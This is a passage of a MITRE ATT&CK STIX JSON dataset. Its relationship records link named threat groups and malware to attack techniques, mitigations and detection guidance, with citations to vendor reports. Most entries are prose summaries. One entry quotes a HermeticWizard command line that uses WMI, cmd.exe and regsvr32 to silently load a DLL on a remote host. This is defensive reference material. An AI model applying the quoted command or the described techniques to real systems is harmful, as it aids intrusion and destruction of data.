deploying tools on compromised systems.(Citation: Symantec Leafminer July 2018)\t", "relationship_type": "uses", "source_ref": "intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74", "target_ref": "attack-pattern--7007935a-a8a7-4c0b-bd98-4e85be8ed197", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--926f0751-679b-474e-acd0-06e485afd9f5", "created": "2022-08-18T15:34:15.069Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Mandiant UNC3313 Feb 2022", "description": "Tomcik, R. et al. (2022, February 24). Left On Read: Telegram Malware Spotted in Latest Iranian Cyber Espionage Activity. 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Retrieved September 2, 2021."}], "modified": "2021-10-15T14:37:09.464Z", "description": "[Crimson](https://attack.mitre.org/software/S0115) contains a command to collect the victim MAC address and LAN IP.(Citation: Proofpoint Operation Transparent Tribe March 2016)(Citation: Kaspersky Transparent Tribe August 2020)", "relationship_type": "uses", "source_ref": "malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--927272db-cc41-45ce-bb38-e3e37ac3a68e", "type": "relationship", "created": "2020-11-25T22:46:47.266Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "US District Court Indictment GRU Unit 74455 October 2020", "url": "https://www.justice.gov/opa/press-release/file/1328521/download", "description": "Scott W. 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Retrieved November 25, 2020."}], "modified": "2020-11-25T22:46:47.266Z", "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) temporarily disrupted service to Georgian government, non-government, and private sector websites after compromising a Georgian web hosting provider in 2019.(Citation: US District Court Indictment GRU Unit 74455 October 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192", "target_ref": "attack-pattern--c675646d-e204-4aa8-978d-e3d6d65885c4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--927434d1-b487-4e3c-909d-ac8725555080", "created": "2020-06-11T15:05:01.794Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "ESET Telebots June 2017", "url": "https://www.welivesecurity.com/2017/06/30/telebots-back-supply-chain-attacks-against-ukraine/", "description": "Cherepanov, A.. (2017, June 30). TeleBots are back: Supply chain attacks against Ukraine. Retrieved June 11, 2020."}, {"source_name": "Secureworks NotPetya June 2017", "url": "https://www.secureworks.com/blog/notpetya-campaign-what-we-know-about-the-latest-global-ransomware-attack", "description": "Counter Threat Research Team. (2017, June 28). NotPetya Campaign: What We Know About the Latest Global Ransomware Attack. Retrieved June 11, 2020."}, {"source_name": "US District Court Indictment GRU Unit 74455 October 2020", "url": "https://www.justice.gov/opa/press-release/file/1328521/download", "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) has distributed [NotPetya](https://attack.mitre.org/software/S0368) by compromising the legitimate Ukrainian accounting software M.E.Doc and replacing a legitimate software update with a malicious one.(Citation: Secureworks NotPetya June 2017)(Citation: ESET Telebots June 2017)(Citation: US District Court Indictment GRU Unit 74455 October 2020)", "modified": "2022-04-12T19:13:26.635Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192", "target_ref": "attack-pattern--bd369cd9-abb8-41ce-b5bb-fff23ee86c00", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--92764952-45ad-4cfc-a426-c6baefc9974c", "type": "relationship", "created": "2020-03-13T18:11:08.483Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft More information about DLL", "url": "https://msrc-blog.microsoft.com/2010/08/23/more-information-about-the-dll-preloading-remote-attack-vector/", "description": "Microsoft. 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Retrieved May 14, 2020."}], "modified": "2020-05-18T19:37:52.427Z", "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) can retrieve IP, network adapter configuration information, and domain from compromised hosts.(Citation: FireEye MuddyWater Mar 2018)(Citation: TrendMicro POWERSTATS V3 June 2019)", "relationship_type": "uses", "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--9284080a-98cb-46d7-80b3-775a89d5bdfa", "created": "2023-03-10T18:40:09.431Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Trend Micro Black Basta May 2022", "description": "Gonzalez, I., Chavez I., et al. (2022, May 9). Examining the Black Basta Ransomware\u2019s Infection Routine. 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Retrieved February 17, 2020."}], "modified": "2020-06-17T14:25:38.414Z", "description": "Apply patch KB2962486 which prevents credentials from being stored in GPPs.(Citation: ADSecurity Finding Passwords in SYSVOL)(Citation: MS14-025)", "relationship_type": "mitigates", "source_ref": "course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b", "target_ref": "attack-pattern--8d7bd4f5-3a89-4453-9c82-2c8894d5655e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--92a4392f-5f7d-4299-b4a8-93b14ce1ae7a", "created": "2022-03-30T14:26:51.856Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Elastic Masquerade Ball", "description": "Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball. 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Retrieved June 14, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "Variants of [Kevin](https://attack.mitre.org/software/S1020) can communicate with C2 over HTTP.(Citation: Kaspersky Lyceum October 2021)", "modified": "2022-06-14T15:36:49.371Z", "relationship_type": "uses", "source_ref": "malware--e7863f5d-cb6a-4f81-8804-0a635eec160a", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--92b336d0-b976-482f-a1c1-77c002f9bb88", "type": "relationship", "created": "2022-03-30T14:26:51.850Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.850Z", "description": "Monitor for newly constructed services/daemons that may attempt to hide artifacts associated with their behaviors to evade detection.", "source_ref": "x-mitre-data-component--5297a638-1382-4f0c-8472-0d21830bf705", "target_ref": "attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--92b34cc0-b059-4294-824f-bb92298f3ae6", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro Daserf Nov 2017", "description": "Chen, J. and Hsieh, M. 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Retrieved April 10, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[HermeticWizard](https://attack.mitre.org/software/S0698) can use WMI to create a new process on a remote machine via `C:\\windows\\system32\\cmd.exe /c start C:\\windows\\system32\\\\regsvr32.exe /s /iC:\\windows\\<filename>.dll`.(Citation: ESET Hermetic Wizard March 2022)", "modified": "2022-04-11T00:09:19.069Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--ff7ed9c1-dca3-4e62-9da6-72c5d388b8fa", "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--92b8dedc-360a-4763-bc31-5f7b0a698460", "type": "relationship", "created": "2022-03-21T22:57:40.658Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Objective See Green Lambert for OSX Oct 2021", "url": "https://objective-see.com/blog/blog_0x68.html", "description": "Sandvik, Runa. (2021, October 1). Made In America: Green Lambert for OS X. Retrieved March 21, 2022."}, {"source_name": "Glitch-Cat Green Lambert ATTCK Oct 2021", "url": "https://www.glitch-cat.com/blog/green-lambert-and-attack", "description": "Sandvik, Runa. (2021, October 18). Green Lambert and ATT&CK. Retrieved March 21, 2022."}], "modified": "2022-03-21T22:57:40.658Z", "description": "[Green Lambert](https://attack.mitre.org/software/S0690) can use proxies for C2 traffic.(Citation: Objective See Green Lambert for OSX Oct 2021)(Citation: Glitch-Cat Green Lambert ATTCK Oct 2021)", "relationship_type": "uses", "source_ref": "malware--59c8a28c-200c-4565-9af1-cbdb24870ba0", "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--92bc1e7b-6700-4d11-b82e-24284f30c2d7", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "FireEye Know Your Enemy FIN8 Aug 2016", "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy:  New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html"}, {"source_name": "Symantec FIN8 Jul 2023", "description": "Symantec Threat Hunter Team. (2023, July 18). FIN8 Uses Revamped Sardonic Backdoor to Deliver Noberus Ransomware. Retrieved August 9, 2023.", "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/syssphinx-fin8-backdoor"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-19T16:50:11.983Z", "description": "[FIN8](https://attack.mitre.org/groups/G0061) has deleted tmp and prefetch files during post compromise cleanup activities. [FIN8](https://attack.mitre.org/groups/G0061) has also deleted PowerShell scripts to evade detection on compromised machines.(Citation: FireEye Know Your Enemy FIN8 Aug 2016)(Citation: Symantec FIN8 Jul 2023)", "relationship_type": "uses", "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--92bea968-016f-4aa7-b58c-8fcc981d9601", "created": "2023-05-17T19:28:09.534Z", "revoked": false, "external_references": [{"source_name": "Mandiant Suspected Turla Campaign February 2023", "description": "Hawley, S. et al. (2023, February 2). Turla: A Galaxy of Opportunity. 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(2017, February 16). menuPass Returns with New Malware and New Attacks Against Japanese Academics and Organizations. Retrieved March 1, 2017.", "url": "http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/"}, {"source_name": "JPCERT ChChes Feb 2017", "description": "Nakamura, Y.. (2017, February 17). ChChes - Malware that Communicates with C&C Servers Using Cookie Headers. Retrieved March 1, 2017.", "url": "http://blog.jpcert.or.jp/2017/02/chches-malware--93d6.html"}, {"source_name": "FireEye APT10 April 2017", "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. 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(2022, February 24). Iranian Government-Sponsored Actors Conduct Cyber Operations Against Global Government and Commercial Networks. Retrieved September 27, 2022.", "url": "https://www.cisa.gov/uscert/ncas/alerts/aa22-055a"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-30T15:35:12.714Z", "description": "(Citation: DHS CISA AA22-055A MuddyWater February 2022)", "relationship_type": "uses", "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", "target_ref": "malware--7e100ca4-e639-48d9-9a9d-8ad84aa7b448", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--92dc3823-559b-422a-b801-4669d53f0135", "type": "relationship", "created": "2022-01-11T14:58:01.959Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Prevailion DarkWatchman 2021", "url": "https://www.prevailion.com/darkwatchman-new-fileless-techniques/", "description": "Smith, S., Stafford, M. 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Retrieved January 10, 2022."}], "modified": "2022-01-11T16:03:19.921Z", "description": "[DarkWatchman](https://attack.mitre.org/software/S0673) can use TLS to encrypt its C2 channel.(Citation: Prevailion DarkWatchman 2021)", "relationship_type": "uses", "source_ref": "malware--63686509-069b-4143-99ea-4e59cad6cb2a", "target_ref": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--92dddac1-5eb5-4843-b70d-c3b3592fde63", "type": "relationship", "created": "2022-03-30T14:26:51.854Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.854Z", "description": "Monitor Launch Agent creation through additional plist files and utilities such as Objective-See\u2019s KnockKnock application. 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Retrieved May 1, 2020."}], "modified": "2020-05-04T19:13:35.475Z", "description": "[HotCroissant](https://attack.mitre.org/software/S0431) has the ability to stop services on the infected host.(Citation: Carbon Black HotCroissant April 2020)", "relationship_type": "uses", "source_ref": "malware--aad11e34-02ca-4220-91cd-2ed420af4db3", "target_ref": "attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--92e35558-f915-4357-b397-3cc7a0412b92", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Linfo May 2012", "description": "Zhou, R. (2012, May 15). Backdoor.Linfo. Retrieved February 23, 2018.", "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051605-2535-99"}], "modified": "2020-03-20T02:11:07.284Z", "description": "[Linfo](https://attack.mitre.org/software/S0211) creates a backdoor through which remote attackers can retrieve a list of running processes.(Citation: Symantec Linfo May 2012)", "relationship_type": "uses", "source_ref": "malware--e9e9bfe2-76f4-4870-a2a1-b7af89808613", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--92e4cc06-5708-4486-92cc-0d25d9a755d4", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Dingledine Tor The Second-Generation Onion Router", "description": "Roger Dingledine, Nick Mathewson and Paul Syverson. (2004). Tor: The Second-Generation Onion Router. Retrieved December 21, 2017.", "url": "http://www.dtic.mil/dtic/tr/fulltext/u2/a465464.pdf"}], "modified": "2020-03-23T17:00:01.358Z", "description": "Traffic traversing the [Tor](https://attack.mitre.org/software/S0183) network will be forwarded to multiple nodes before exiting the [Tor](https://attack.mitre.org/software/S0183) network and continuing on to its intended destination.(Citation: Dingledine Tor The Second-Generation Onion Router)", "relationship_type": "uses", "source_ref": "tool--ed7d0cb1-87a6-43b4-9f46-ef1bc56d6c68", "target_ref": "attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--92e8e517-aac5-4d8f-9752-83ee0710f568", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 Gorgon Group Aug 2018", "description": "Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/"}], "modified": "2019-07-25T14:56:46.633Z", "description": "[Gorgon Group](https://attack.mitre.org/groups/G0078) malware can attempt to disable security features in Microsoft Office and Windows Defender using the <code>taskkill</code> command.(Citation: Unit 42 Gorgon Group Aug 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27", "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--92f4c657-bc3a-499c-adc0-590cd61617e3", "created": "2022-03-30T14:26:51.876Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "\nMonitor for newly constructed network connections using Windows Remote Management (WinRM), such as remote WMI connection attempts (typically over port 5985 when using HTTP and 5986 for HTTPS).", "modified": "2022-04-14T12:57:01.782Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", "target_ref": "attack-pattern--60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--92f524c5-86e8-43cf-90d5-907ac16acf5d", "type": "relationship", "created": "2020-03-02T20:36:52.656Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Meintanis, S., Revuelto, V., Socha, K.. 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(2017, January). Malware Analysis Report - RawPOS Malware: Deconstructing an Intruder\u2019s Toolkit. Retrieved October 4, 2017.", "source_name": "Kroll RawPOS Jan 2017"}, {"url": "http://sjc1-te-ftp.trendmicro.com/images/tex/pdf/RawPOS%20Technical%20Brief.pdf", "description": "TrendLabs Security Intelligence Blog. (2015, April). RawPOS Technical Brief. Retrieved October 4, 2017.", "source_name": "TrendMicro RawPOS April 2015"}, {"url": "https://www.youtube.com/watch?v=fevGZs0EQu8", "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. 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Retrieved June 14, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Milan](https://attack.mitre.org/software/S1015) can use a custom protocol tunneled through DNS or HTTP.(Citation: Kaspersky Lyceum October 2021)", "modified": "2022-06-24T15:38:02.435Z", "relationship_type": "uses", "source_ref": "malware--aea6d6b8-d832-4c90-a1bb-f52c6684db6c", "target_ref": "attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--93086acc-65f7-4e41-b765-04bae1bc12fd", "type": "relationship", "created": "2021-06-04T14:49:06.921Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye FiveHands April 2021", "url": "https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html", "description": "McLellan, T.  and Moore, J. et al. (2021, April 29). UNC2447 SOMBRAT and FIVEHANDS Ransomware: A Sophisticated Financial Threat. Retrieved June 2, 2021."}], "modified": "2021-06-04T14:49:06.921Z", "description": "[HELLOKITTY](https://attack.mitre.org/software/S0617) can use WMI to delete volume shadow copies.(Citation: FireEye FiveHands April 2021)", "relationship_type": "uses", "source_ref": "malware--5d11d418-95dd-4377-b782-23160dfa17b4", "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--930e0ad7-c430-41d1-bea2-5d08cd2ffa3d", "created": "2022-01-27T18:04:46.511Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Talos Bisonal Mar 2020", "url": "https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html", "description": "Mercer, W., et al. (2020, March 5). Bisonal: 10 years of play. Retrieved January 26, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Bisonal](https://attack.mitre.org/software/S0268) has appended random binary data to the end of itself to generate a large binary.(Citation: Talos Bisonal Mar 2020) ", "modified": "2022-04-13T18:59:37.646Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--65ffc206-d7c1-45b3-b543-f6b726e7840d", "target_ref": "attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--93139a4e-d7cb-44cf-8612-46532c85cfba", "created": "2022-04-20T17:30:22.360Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Objective See Green Lambert for OSX Oct 2021", "url": "https://objective-see.com/blog/blog_0x68.html", "description": "Sandvik, Runa. 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Retrieved March 21, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Green Lambert](https://attack.mitre.org/software/S0690) can add [Login Items](https://attack.mitre.org/techniques/T1547/015) to establish persistence.(Citation: Objective See Green Lambert for OSX Oct 2021)(Citation: Glitch-Cat Green Lambert ATTCK Oct 2021) ", "modified": "2022-04-20T17:30:22.360Z", "relationship_type": "uses", "source_ref": "malware--59c8a28c-200c-4565-9af1-cbdb24870ba0", "target_ref": "attack-pattern--84601337-6a55-4ad7-9c35-79e0d1ea2ab3", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--93169fdc-7afd-41b9-90bc-54d99c1c86e6", "type": "relationship", "created": "2020-06-19T19:08:40.387Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Valak May 2020", "url": "https://www.cybereason.com/blog/valak-more-than-meets-the-eye", "description": "Salem, E. et al. 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Retrieved June 19, 2020."}], "modified": "2020-09-25T15:49:09.553Z", "description": "[Valak](https://attack.mitre.org/software/S0476) has the ability to identify the domain and the MAC and IP addresses of an infected machine.(Citation: Cybereason Valak May 2020)", "relationship_type": "uses", "source_ref": "malware--ade37ada-14af-4b44-b36c-210eec255d53", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9317c15e-44ae-4d00-9f2b-ad1b07ff52b5", "type": "relationship", "created": "2020-03-18T15:41:19.445Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "GDATA Zeus Panda June 2017", "url": "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf", "description": "Ebach, L. (2017, June 22). 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Retrieved November 5, 2018."}], "modified": "2020-03-18T15:41:19.445Z", "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) can launch remote scripts on the victim\u2019s machine.(Citation: GDATA Zeus Panda June 2017)\t", "relationship_type": "uses", "source_ref": "malware--198db886-47af-4f4c-bff5-11b891f85946", "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--93189ca3-7dfd-4c82-a7c7-a457a093d1d3", "type": "relationship", "created": "2021-04-09T13:34:37.390Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Intezer Doki July 20", "url": "https://www.intezer.com/blog/cloud-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/", "description": "Fishbein, N., Kajiloti, M.. (2020, July 28). Watch Your Containers: Doki Infecting Docker Servers in the Cloud. Retrieved March 30, 2021."}], "modified": "2021-04-09T13:34:37.390Z", "description": "[Doki](https://attack.mitre.org/software/S0600) has resolved the path of a process PID to use as a script argument.(Citation: Intezer Doki July 20)", "relationship_type": "uses", "source_ref": "malware--4f1c389e-a80e-4a3e-9b0e-9be8c91df64f", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--9319fb2f-88df-4195-a42e-2a6a983a4840", "type": "relationship", "created": "2020-10-14T20:39:49.553Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 BackConfig May 2020", "url": "https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/", "description": "Hinchliffe, A. and Falcone, R. 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Retrieved June 17, 2020."}], "modified": "2020-10-14T20:39:49.553Z", "description": "[Patchwork](https://attack.mitre.org/groups/G0040) has created self-signed certificates from fictitious and spoofed legitimate software companies that were later used to sign malware.(Citation: Unit 42 BackConfig May 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", "target_ref": "attack-pattern--34b3f738-bd64-40e5-a112-29b0542bc8bf", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--931a5425-011a-42b5-ae49-fba9c70572b6", "type": "relationship", "created": "2021-03-23T20:49:40.258Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky ShadowPad Aug 2017", "url": 